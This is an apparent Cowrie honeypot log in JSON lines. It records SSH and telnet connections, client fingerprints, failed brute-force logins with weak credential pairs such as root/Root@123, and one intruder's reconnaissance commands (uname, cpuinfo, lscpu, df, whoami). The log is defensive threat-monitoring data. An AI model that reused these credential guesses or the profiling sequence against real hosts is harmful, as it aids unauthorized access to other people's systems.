{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:55.784567Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:55.788501Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58328,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9f23667145a","protocol":"ssh","message":"New connection: 45.156.87.204:58328 (159.203.135.109:22) [session: b9f23667145a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.060288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.065807Z","src_ip":"45.156.87.204","session":"b9f23667145a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.148190Z","src_ip":"45.156.87.204","session":"b9f23667145a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.279189Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.395104Z","src_ip":"45.156.87.204","session":"b9f23667145a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.576007Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:56.579186Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:57.069442Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:57.392730Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:57.396240Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:57.483181Z","src_ip":"45.156.87.204","session":"b9f23667145a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:57.888187Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.197523Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.202320Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41288,"dst_ip":"10.17.0.5","dst_port":23,"session":"9276ac7d3de7","protocol":"telnet","message":"New connection: 152.42.224.71:41288 (10.17.0.5:23) [session: 9276ac7d3de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.254868Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41290,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84ea4addb5d","protocol":"telnet","message":"New connection: 152.42.224.71:41290 (10.17.0.5:23) [session: c84ea4addb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.331354Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.691661Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.993949Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:58.997324Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58332,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb790103e65","protocol":"ssh","message":"New connection: 45.156.87.204:58332 (159.203.135.109:22) [session: adb790103e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:59.486623Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:59.491929Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:59.495974Z","src_ip":"45.156.87.204","session":"adb790103e65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:59.782335Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:59.784950Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:59.790735Z","src_ip":"45.156.87.204","session":"adb790103e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:00.240695Z","src_ip":"45.156.87.204","session":"adb790103e65","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:00.274373Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:00.576494Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:00.579291Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:01.069510Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:01.371848Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:01.375435Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:01.383420Z","src_ip":"45.156.87.204","session":"adb790103e65","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:01.625782Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.7","message":"Connection lost after 20.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:01.632313Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42522,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef456cb97f8","protocol":"ssh","message":"New connection: 45.156.87.204:42522 (159.203.135.109:22) [session: 3ef456cb97f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:03.417995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:03.423659Z","src_ip":"45.156.87.204","session":"3ef456cb97f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:03.505981Z","src_ip":"45.156.87.204","session":"3ef456cb97f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:03.872947Z","src_ip":"45.156.87.204","session":"3ef456cb97f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:04.957230Z","src_ip":"45.156.87.204","session":"3ef456cb97f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56344,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b3df2ba6bc","protocol":"telnet","message":"New connection: 152.42.224.71:56344 (10.17.0.5:23) [session: 63b3df2ba6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:05.711783Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.45.163","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"2084df6c4057","protocol":"ssh","message":"New connection: 148.135.45.163:44652 (10.17.0.5:22) [session: 2084df6c4057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:05.748893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:05.754329Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:05.830975Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.15793752670288,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:05.907394Z","src_ip":"152.42.224.71","session":"ef7118e24c51","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:d6:ea:65:f5:1b:fe:c9:6b:95:69:b6:bb:ed:0f:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5uacyLza2nO3ijNbwprvLn5mvaKwRc0G2/tvTz9JemQ18IveJUMqbY7rn0ofzQ6jeN/R5rBhE6I/hV8GWwH20DdQDyNpvTwDGaUwSEOt/P8Vic92Bl5WUwX9xU4I5UvlflA087BOS1/xqXMY5AVNv456Jaq56vxRZvm4j15wCjMcCJXHPedeGz/C7uDy61v+/y44a4hKB8C24zZnx1Bbfk3ZsKncQKVIab1aWPUV/dx55VH3LXSTbPz3nvwuTK3PasVlJRnE1OGCQtOuVovV6FpUDC1N6w3otgVBLw958hSvM9YmLXkEfI6dMbfY58obYnlYfLSnIqjzLba+hSkR3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:d6:ea:65:f5:1b:fe:c9:6b:95:69:b6:bb:ed:0f:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.156063Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:d6:ea:65:f5:1b:fe:c9:6b:95:69:b6:bb:ed:0f:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5uacyLza2nO3ijNbwprvLn5mvaKwRc0G2/tvTz9JemQ18IveJUMqbY7rn0ofzQ6jeN/R5rBhE6I/hV8GWwH20DdQDyNpvTwDGaUwSEOt/P8Vic92Bl5WUwX9xU4I5UvlflA087BOS1/xqXMY5AVNv456Jaq56vxRZvm4j15wCjMcCJXHPedeGz/C7uDy61v+/y44a4hKB8C24zZnx1Bbfk3ZsKncQKVIab1aWPUV/dx55VH3LXSTbPz3nvwuTK3PasVlJRnE1OGCQtOuVovV6FpUDC1N6w3otgVBLw958hSvM9YmLXkEfI6dMbfY58obYnlYfLSnIqjzLba+hSkR3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.159738Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:af:4a:c9:a5:f4:cd:f3:a8:03:9a:96:d5:5e:f4:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAek8qwZLIkhUG29XppXVJBKXbjlTKejutt8O8WTKETy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4c:af:4a:c9:a5:f4:cd:f3:a8:03:9a:96:d5:5e:f4:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.234614Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:af:4a:c9:a5:f4:cd:f3:a8:03:9a:96:d5:5e:f4:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAek8qwZLIkhUG29XppXVJBKXbjlTKejutt8O8WTKETy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.238467Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
